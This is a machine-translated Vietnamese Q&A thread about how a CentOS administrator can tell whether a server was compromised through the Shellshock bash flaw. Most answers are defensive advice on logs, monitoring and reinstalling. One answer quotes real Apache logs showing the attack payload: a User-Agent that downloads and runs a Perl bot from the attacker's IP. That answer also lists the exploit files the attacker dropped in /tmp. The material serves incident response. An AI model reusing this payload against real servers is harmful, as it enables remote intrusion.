Shellshock: Làm thế nào để tôi biết nếu máy chủ của tôi bị xâm nhập + các tệp đáng ngờ để tìm kiếm


18

Ba câu hỏi mà tôi hy vọng ai đó có thể giúp trả lời:

  1. Làm cách nào để biết máy chủ của tôi đã bị xâm nhập do lỗi Shellshock chưa?
  2. Nếu nó bị xâm nhập, có một thư mục cụ thể mà tôi nên tìm các tệp độc hại không?
  3. Làm thế nào để một tập tin độc hại trông như thế nào?

Tôi đang chạy CentOS 6, LEMP stack

Câu trả lời:


36

Làm cách nào để biết máy chủ của tôi đã bị xâm nhập do lỗi Shellshock chưa?

Bạn không. Đó là ý tưởng về một lỗ hổng bảo mật. Nếu bạn phải bấm Hãy để bánh quy vào? OK / Hủy nó sẽ không phải là một lỗ hổng.

Bạn có thể gặp may mắn khi kiểm tra nhật ký của các vectơ tấn công của mình, nhưng do có quá nhiều dịch vụ dễ bị tấn công và không phải tất cả chúng đều ghi nhật ký mọi quyền truy cập, nên không thể kết luận được một cuộc tấn công.

Nếu nó bị xâm nhập, có một thư mục cụ thể mà tôi nên tìm các tệp độc hại không?

Không, một tập tin độc hại có thể ở bất cứ đâu.

Rootkit thông thường tự cài đặt trong /roothoặc /hoặc /tmpmột trong các đường dẫn nhị phân nhưng thực sự chúng có thể ở bất cứ đâu. Chúng có thể có một tên tương tự như một dịch vụ thực hoặc một cái gì đó "quan trọng" trông giống như " IPTables" hoặc " kernel-bin" nhưng chúng cũng có thể là các chuỗi ký tự ngẫu nhiên hoặc cùng tên với một nhị phân chính hãng (chỉ trong một đường dẫn khác). Bạn có thể phát hiện ra một rootkit thực sự rõ ràng đang tải /etc/rc.localhoặc tạo kết nối thông qua netstat -neopa. Tìm tên quá trình đáng ngờ trong top -c.

Một rootkit ít phổ biến và khó tìm hơn thay thế thư viện hoặc tự tải dưới dạng thư viện shim và chặn các cuộc gọi hệ thống. Điều này gần như không thể tìm thấy trừ khi bạn strace / ltrace mọi thứ duy nhất đang chạy trên hệ thống của bạn và so sánh hành vi với hành vi dự kiến ​​của một hệ thống hoặc mã nguồn đã biết.

Sẽ nhanh hơn, dễ dàng hơn và có nhiều kết luận hơn khi chỉ cần tải lại hệ thống.

Làm thế nào để một tập tin độc hại trông như thế nào?

Có lẽ giống như bất kỳ thư viện nhị phân hoặc thư viện ELF thông thường khác. Nó cũng có thể là một kịch bản.

Tóm lại, nếu bạn nghĩ rằng có khả năng hệ thống của bạn đã bị xâm nhập, hãy đối xử với hệ thống như thể nó đã bị xâm phạm và thực hiện các biện pháp cần thiết.


14
+1 "Cho bánh quy vào?" Ngày lưu ý khác ... nếu bạn nhìn thấy một cái gì đó có tên là "iptables" trên Linux, được rất đáng ngờ. UNIXian là CapsPhobic.
giám mục

nếu bạn nghĩ rằng có khả năng hệ thống của bạn đã bị xâm nhập, hãy đối xử với hệ thống như thể nó đã bị xâm phạm và thực hiện các biện pháp cần thiết. Điều này có nghĩa là mọi hệ thống có thể đã bashđược cài đặt và cáp mạng được cắm vào, phải không?
Federico Poloni

@FedericoPoloni Chỉ khi ai đó có thể truy cập vào vỏ của bạn thông qua mạng. Nhưng nếu không thì bạn hoàn toàn đúng.
scai

@FedericoPoloni Tôi không chắc đó có phải là một lựa chọn khôn ngoan hay không, vì tôi sẽ phải liên tục tắt tất cả các hệ thống, vì tôi không bao giờ có thể chắc chắn 100% rằng chúng không bị xâm phạm, và nghiêm túc không ai có thể chắc chắn hệ thống của chúng không bị xâm phạm trừ khi họ là một thành ngữ rất lạc quan * t. Nếu bạn nghi ngờ rằng hệ thống của bạn không hoạt động theo cách nó cần, bạn nên kiểm tra hệ thống và lưu lượng mạng của nó, tốt nhất là từ Hệ điều hành SẠCH. Tôi thấy bạn không có bằng chứng nào về việc giả mạo bạn không phải thực hiện các biện pháp bên cạnh việc sửa các lỗ hổng. Nếu không, chúng tôi sẽ phải liên tục cài đặt lại TẤT CẢ các hệ thống 24x7!
Frank Waller

@FrankWaller Tôi hoàn toàn đồng ý. Có luôn luôn là một khả năng xa rằng một hệ thống đã bị xâm nhập và những kẻ tấn công là đủ tay nghề cao không để lại bất kỳ dấu vết, nhưng chúng tôi không thể cài đặt lại 24x7 để phục vụ cho trường hợp này.
Federico Poloni

21

shellshock không phải là sâu nên không có tệp nào để tìm. Shellshock là một cách để tấn công một mạng để đạt được mục. Một khi bên trong ai biết kẻ tấn công sẽ làm gì.


3
Câu trả lời này có vẻ hơi khó hiểu với tôi - có thể nó đã bị bỏ đi vội vàng, hoặc nên là một nhận xét thay vì một câu trả lời. Chắc chắn, đó không phải là một con sâu (nó là một lỗ hổng, không phải là một phần mềm độc hại), nhưng không rõ tại sao bạn nghĩ rằng nó có liên quan hay tại sao điều đó có nghĩa là "không có tệp nào để tìm". Shellshock không phải là một cách để tấn công mạng; đó là một cách để đột nhập vào một cái máy Đó là một cuộc tấn công vào một máy tính, không phải một mạng.
DW

2
@DW Cấp rất ngắn gọn, nhưng rõ ràng là phản ứng trực tiếp với lo lắng của OP is there a particular folder where I should look for malicious files.
ᴠɪɴᴄᴇɴᴛ

5

Tôi đã thấy một nỗ lực khai thác lỗi, sẽ cài đặt bot IRC như /var/tmp/x. Nhưng nói chung không có tệp cụ thể nào để tìm, vì chúng có thể ở bất cứ đâu hoặc không ở đâu.

Nếu bạn bị xâm nhập thông qua máy chủ web thì bất kỳ tệp hoặc quy trình mới nào thuộc sở hữu của người dùng máy chủ web đều đáng ngờ.

Trong trường hợp kẻ tấn công sử dụng bashlỗi đầu tiên để xâm nhập hệ thống và tiếp theo là một lỗ hổng cục bộ để trở thành root, nó có thể trở nên gần như không thể phát hiện ra.

Cũng nhìn vào câu hỏi tương tự này .


+1 cho ý tưởng sở hữu người dùng máy chủ web
Xan

4

Tôi sẽ lặp lại câu trả lời từ suprjami và nói rằng nếu hệ thống của bạn dễ bị tổn thương thì bạn nên coi nó là thỏa hiệp.

Nếu bạn đang chạy apache, bạn có thể kiểm tra nhật ký cho các nỗ lực xâm nhập Shellshock bằng lệnh sau:

[root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;"

Lệnh này trích xuất tất cả các dòng chứa "cgi" từ nhật ký truy cập của Apache (theo mặc định được gọi là access_log, access_log.1, access_log.2, v.v.) sau đó chuyển nó thành egrep với regex.

(Nguồn: http://linux.slashdot.org/story/14/09/24/1638207/remote-Exloit-vulnerability-found-in-bash )


Lưu ý rằng đối với cấu hình mặc định của Apache, điều này sẽ chỉ hiển thị các cuộc tấn công trong URL đích và trong các tiêu đề "Tác nhân người dùng" và "Người giới thiệu". Một cuộc tấn công trong tiêu đề như "Cookie" hoặc "X-Ploit" sẽ không được ghi lại.
Đánh dấu

1
@Mark Hoàn toàn, tôi nên đề cập đến điều đó.
Ralph

1
Tất nhiên, điều đầu tiên mà bất kỳ kẻ tấn công tự trọng nào cũng sẽ làm là xóa mọi gợi ý về cuộc tấn công khỏi nhật ký, đó là lý do tại sao các bản ghi nên được viết một lần và từ xa!
Jörg W Mittag

4

Vì có một số vectơ tấn công cho Shellshock, một số trong số chúng chưa được biết đến cho công chúng nói chung hoặc do tập lệnh CGI tùy chỉnh, không có cách nào để biết bạn có bị xâm phạm hay không.

Ngoài thông thường "hãy xem liệu một số tệp hệ thống đã thay đổi hoặc có điều gì đó đáng ngờ đã xảy ra gần đây", bạn có thể muốn theo dõi hành vi máy chủ của mình.

  1. Có bất ngờ lưu lượng truy cập mạng nhiều hơn?
  2. Việc sử dụng CPU / bộ nhớ có thay đổi nhiều không?
  3. Là một cái gì đó ăn hết dung lượng đĩa hoặc gây ra nhiều I / O nhiều hơn bình thường?
  4. netstathiển thị các kết nối mạng lạ hoặc ps auxhiển thị các quy trình bạn không nhận ra?
  5. Có phải máy chủ của bạn đột nhiên gửi e-mail nhiều hơn trước?

Nếu bạn có theo dõi sức khỏe máy chủ thích hợp (chẳng hạn như Zabbix) và chạy, nó cũng có thể giúp bạn tìm ra các vi phạm bảo mật. Bạn cũng có thể so sánh tổng MD5 / SHA của các tệp hệ thống với bản sao lưu tốt đã biết.

Về cơ bản chỉ hoạt động như máy chủ của bạn đã bị xâm nhập và điều tra mọi thứ bạn có thể nghĩ ra.


4

Tôi chỉ có niềm vui để làm sạch một hệ thống Plesk cũ bị xâm nhập. Điều đầu tiên khiến nó biến mất là nhiều quá trình bắt đầu lắng nghe một số cổng và các cổng khác đang cố tải xuống mã từ máy chủ quét ban đầu.

    lsof -i -n
...
        perl       1899      user100     3u  IPv4 227582583      0t0  TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
        perl       1999      user101     3u  IPv4 227582597      0t0  TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
        perl       2016       wwwrun     3u  IPv4 227549964      0t0  TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...

Theo dõi nhật ký tôi phát hiện ra lỗ hổng cuối cùng là một cgi_wrapperkịch bản, một thứ được cho là bảo vệ và che chắn hệ thống là thứ thực sự xé lỗ hổng đó để bảo vệ. Dưới đây là một số dòng nhật ký từ tàu thăm dò và cuộc tấn công thành công:

Đây là các dòng từ access_log, vì đây chỉ là một mẫu, lưu ý 200 trên hai dòng trong khi các dòng khác không thành công với 404. Bạn không phải lo lắng về các dòng có 404 vì những dòng này không thành công, những người có 200 tuy nhiên đã làm. Mô hình của các cuộc tấn công này ở đây luôn giống nhau: 1. tìm tập lệnh cgi dễ bị tổn thương, sử dụng shellshock khai thác để tải xuống và thực thi tập lệnh perl, xóa lại tập lệnh perl. Kịch bản perl sẽ thực sự tải xuống một số tệp nguồn (tgz) biên dịch chúng và chạy chúng, từ những gì tôi đã thấy chúng bao gồm ít nhất là một cửa hậu và cơ chế cập nhật tự động, cộng với những gì trông giống như khai thác để thử và có được các đặc quyền thực thi nâng cao. Tất cả các tập lệnh ban đầu thực sự được thực thi như người dùng được cung cấp bởi trình bao bọc trong khi các dịch vụ sau được bắt đầu với PPID là 1 (bắt đầu từ quá trình root)).

94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"

Và đây là dòng error_log tương ứng:

[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03--  http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]   626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34--  http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]   575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed

Các tệp được tải xuống / tmp Như mọi người có thể đoán, tôi không có tệp bot.pl vì nó bị xóa ngay lập tức.

-rwxr-xr-x 1 user100  psacln   187 Sep 29 01:02 check
-rwxr-xr-x 1 user100  psacln  9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100  psacln  4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100  psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100  psacln   178 Sep 29 03:35 payload.c

cd ./expls
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 1
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100  psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100  psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100  psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100  psacln  2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100  psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100  psacln  6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100  psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100  psacln  6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100  psacln  2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100  psacln  4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100  psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100  psacln  1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100  psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100  psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100  psacln  9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100  psacln   419 Sep 29 02:03 origin
-rw-r--r-- 1 user100  psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100  psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100  psacln  3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100  psacln  2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100  psacln   208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100  psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100  psacln  7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100  psacln   233 Sep 29 03:13 run
-rwxr-xr-x 1 user100  psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100  psacln  3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100  psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100  psacln  4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100  psacln 17904 Sep 29 03:19 semtex3
